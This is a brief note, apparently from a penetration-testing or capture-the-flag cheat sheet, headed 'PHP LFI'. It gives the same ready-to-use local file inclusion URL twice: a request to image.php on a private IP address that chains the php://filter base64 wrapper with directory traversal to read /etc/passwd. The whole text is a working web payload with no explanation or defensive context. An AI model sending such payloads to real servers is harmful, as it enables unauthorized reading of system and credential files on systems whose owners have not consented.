PHP LFI
Get a file and encode as Base64
http://192.168.99.21/image.php?secrettier360=php://filter/convert.base64-encode/resource=../../../../../../../etc/passwd
Get a file and encode as Base64
http://192.168.99.21/image.php?secrettier360=php://filter/convert.base64-encode/resource=../../../../../../../etc/passwd